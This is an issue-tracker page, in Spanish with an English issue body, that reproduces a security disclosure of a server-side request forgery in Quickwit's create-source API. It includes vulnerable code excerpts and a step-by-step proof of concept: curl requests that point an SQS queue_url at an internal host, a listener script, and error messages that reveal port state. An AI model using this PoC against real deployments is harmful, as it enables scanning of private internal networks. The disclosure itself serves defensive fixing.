Server-Side Request Forgery via unvalidated SQS source `queue_url` in the create-source REST API
Los mantenedores suelen responder en 1 día
@trinity-1686a ya está trabajando en esto.
Desde el 18/8/2026.
Evaluación
Este issue todavía no se ha evaluado.
Descripción
reported on 21 June 2026 via email and then via https://github.com/quickwit-oss/quickwit/security/advisories/GHSA-4vcq-7f93-fpj7.
Summary
The POST /api/v1/indexes/{index_id}/sources REST endpoint accepts a file source that uses SQS notifications. The queue_url field of that source is used verbatim as the HTTP endpoint of the AWS SQS client, with no host, scheme, or destination validation. Creating such a source triggers a synchronous connectivity check that issues an HTTP request to whatever host and port the caller put in queue_url. An attacker who can reach the Quickwit REST API (which in the default OSS deployment has no authentication) can therefore force the Quickwit node to send server-side requests to arbitrary internal hosts and ports. The internal service response is reflected back through the API error message, and open, closed, and filtered ports produce distinct errors, making this a usable internal network scanner and service-fingerprinting primitive.
Details
The create-source handler only rejects the local Filepath file source. It does not restrict the SQS notification file source:
quickwit/quickwit-serve/src/index_api/source_resource.rs
fn check_source_type(source_params: &SourceParams) -> Result<(), IndexServiceError> {
if let SourceParams::File(FileSourceParams::Filepath(_)) = source_params {
return Err(IndexServiceError::InvalidConfig(anyhow::anyhow!(
"path based file sources are limited to a local usage, ..."
)));
}
Ok(())
}
SourceParams::File(FileSourceParams::Notifications(Sqs(..))) passes this check and is accepted.
add_source then runs a connectivity check synchronously, inside the same HTTP request, before persisting anything:
quickwit/quickwit-index-management/src/index.rs
pub async fn add_source(&mut self, index_uid: IndexUid, source_config: SourceConfig)
-> Result<SourceConfig, IndexServiceError> {
...
check_source_connectivity(&self.storage_resolver, &source_config)
.await
.map_err(IndexServiceError::InvalidConfig)?;
...
}
check_source_connectivity calls the SQS connectivity check with the caller-supplied queue_url:
quickwit/quickwit-indexing/src/source/mod.rs
SourceParams::File(FileSourceParams::Notifications(FileSourceNotification::Sqs(sqs_config))) => {
#[cfg(feature = "sqs")]
{
queue_sources::sqs_queue::check_connectivity(&sqs_config.queue_url).await?;
Ok(())
}
}
The SQS endpoint is then derived from queue_url with a permissive regex that accepts any http(s)://host[:port], and is set as the SDK endpoint URL:
quickwit/quickwit-indexing/src/source/queue_sources/sqs_queue.rs
fn queue_url_endpoint(queue_url: &str) -> anyhow::Result<String> {
let re = Regex::new(r"(^https?://[^/]+)").unwrap();
let caps = re.captures(queue_url).context("Invalid queue URL")?;
let endpoint_str = caps.get(1).context("Invalid queue URL")?.as_str();
Ok(endpoint_str.to_string())
}
pub async fn get_sqs_client(queue_url: &str) -> anyhow::Result<Client> {
let mut sqs_config = preconfigured_builder().await?;
let inferred_region = queue_url_region(queue_url).unwrap_or(DEFAULT_AWS_REGION);
let inferred_endpoint = queue_url_endpoint(queue_url)?;
sqs_config.set_region(Some(inferred_region));
sqs_config.set_endpoint_url(Some(inferred_endpoint)); // attacker-controlled
Ok(Client::from_conf(sqs_config.build()))
}
pub(crate) async fn check_connectivity(queue_url: &str) -> anyhow::Result<()> {
let client = get_sqs_client(queue_url).await?;
client.get_queue_attributes().queue_url(queue_url).send().await?; // SSRF egress
Ok(())
}
There is no allowlist of permitted endpoints, no restriction to the real *.amazonaws.com SQS hostnames, and no block of private, loopback, or link-local address ranges. The endpoint host and port are taken directly from attacker input.
The SQS source is compiled into every official build. The Dockerfile builds with CARGO_FEATURES=release-feature-set, and every release feature set includes quickwit-indexing/sqs:
quickwit/quickwit-cli/Cargo.toml
release-feature-set = [
...
"quickwit-indexing/sqs",
...
]
The error from the internal request is surfaced to the caller as IndexServiceError::InvalidConfig, which is returned in the HTTP response body. This reflects connection state and partial response content (for example a parse error quoting the first unexpected byte of the internal service response), giving an oracle for port state and service type.
PoC
This was validated against the official quickwit/quickwit:edge image.
- Run a single Quickwit node. On a real AWS deployment the node already has IAM credentials; to reproduce off-AWS, provide any non-empty static credentials (they only need to exist so the SDK signs the request, the attacker-controlled target does not validate the signature):
docker run -d --name qw \
-e AWS_ACCESS_KEY_ID=AKIADUMMYDUMMYDUMMY \
-e AWS_SECRET_ACCESS_KEY=dummydummydummydummydummydummydummydummy \
-e AWS_REGION=us-east-1 \
-p 127.0.0.1:7280:7280 quickwit/quickwit:edge run
- Start a listener that represents an internal-only service the API caller should not be able to reach (here on the docker host, reachable from the container at 172.17.0.1):
python3 -c '
import socket
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0",9999)); s.listen(1)
print("listening")
c,a=s.accept(); print(c.recv(4096).decode("latin1"))
'
- Create an index, then create the malicious source. The
queue_urlpoints at the internal target:
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes <<'EOF'
version: 0.8
index_id: ssrf-test
doc_mapping:
field_mappings:
- name: body
type: text
EOF
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes/ssrf-test/sources <<'EOF'
version: 0.8
source_id: ssrf-sqs
source_type: file
num_pipelines: 1
params:
notifications:
- type: sqs
queue_url: http://172.17.0.1:9999/000000000000/internal-queue
message_type: raw_uri
EOF
- Observed result. The listener receives a real request originating from the Quickwit node:
POST / HTTP/1.1
content-type: application/x-amz-json-1.0
x-amz-target: AmazonSQS.GetQueueAttributes
user-agent: aws-sdk-rust/1.3.15 os/linux lang/rust/1.95.0
host: 172.17.0.1:9999
{"QueueUrl":"http://172.17.0.1:9999/000000000000/internal-queue"}
- Oracle. The API response distinguishes target state:
- Open port returning non-SQS data:
service error: unhandled error: Error at offset 0: unexpected token '<'(reflects the internal response content). - Closed port:
dispatch failure: io error: client error (Connect): tcp connect error: Connection refused (os error 111). - Filtered or unroutable host: request hangs until timeout.
Iterating the host and port lets an API caller map internal services reachable from the Quickwit node.
- Lenguaje dominante
- Rust
- Estrellas
- 11.8k
- Forks
- 628
- Merge medio
- 2 d 22 h
- PR fusionados (30 d)
- 50
Preparar el entorno
Inicia el contenedor de desarrollo del proyecto en tu navegador, con tu propia cuenta de GitHub.
- Incluye un Dockerfile o un archivo de Docker Compose
- Tiene una plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de quickwit-oss/quickwit
-
area:otel documentation
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
quickwit-oss/quickwit#6686 ·
Los mantenedores suelen responder en 1 día
-
Add some examples of requests in the REST API reference docsPosiblemente ocupada @Cunninger la tomó hace 88 días. Abiertoenhancement good first issue
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
quickwit-oss/quickwit#4266 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
documentation
Dificultad 1/5 Menos de una hora Aptitud para principiantes 65/100
quickwit-oss/quickwit#3872 ·
Los mantenedores suelen responder en 1 día
-
Update docs on range queriesAbiertodocumentation
Dificultad 1/5 Menos de una hora Aptitud para principiantes 65/100
quickwit-oss/quickwit#3666 ·
Los mantenedores suelen responder en 1 día
-
implement retry for ListTermsAbiertoenhancement
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
quickwit-oss/quickwit#2769 ·
Los mantenedores suelen responder en 1 día
Todos los issues de quickwit-oss/quickwit
Issues similares
-
p2 ready-mac
Dificultad 2/5 1-3 horas Aptitud para principiantes 75/100
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
quickwit-oss/tantivy#3299 ·
Los mantenedores suelen responder en 1 día
-
`stream enable` fails with "already enabled" on every fresh session since streaming became always-onAbierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 70/100
vercel-labs/agent-browser#2797 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 66/100
witchesofthehill/manabrew#1309 ·
Los mantenedores suelen responder en 1 día
-
bug help wanted ui
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
userFRM/egui-charts#4494 ·
Los mantenedores suelen responder en 1 día